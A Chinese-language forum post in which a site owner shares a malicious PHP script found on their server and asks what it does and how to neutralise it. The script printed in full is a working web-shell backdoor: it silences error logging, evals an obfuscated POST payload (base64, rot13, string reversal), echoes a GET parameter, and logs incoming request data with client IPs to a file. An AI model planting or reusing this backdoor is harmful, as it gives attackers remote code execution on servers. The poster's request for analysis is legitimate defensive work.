有人能告诉我这个恶意代码能做什么吗?
我看到一开始它会关闭错误报告和日志记录。
然后是 get post 方法和文件的东西。但我不确定。
有人可以帮我解释这个脚本的作用吗?
@error_reporting(0);
@ini_set("display_errors", 0);
@ini_set("log_errors", 0);
@ini_set("error_log", 0);
if (isset($_GET['r'])) {
print $_GET['r'];
} elseif (isset($_POST['e'])) {
eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') {
$data = file_get_contents('php://input');
if (strlen($data) > 0)
print 'STATUS-IMPORT-OK';
if (strlen($data) > 12) {
$fp = @fopen('tmpfile', 'a');
@flock($fp, LOCK_EX);
@fputs($fp, $_SERVER['REMOTE_ADDR'] . "\t" . base64_encode($data) . "\r\n");
@flock($fp, LOCK_UN);
@fclose($fp);
}
}
exit;
在服务器上的 php 设置中快速 php 模块或函数抑制的任何想法,所以这个恶意脚本不走运并中断,而我会尝试将它从网站上完全删除?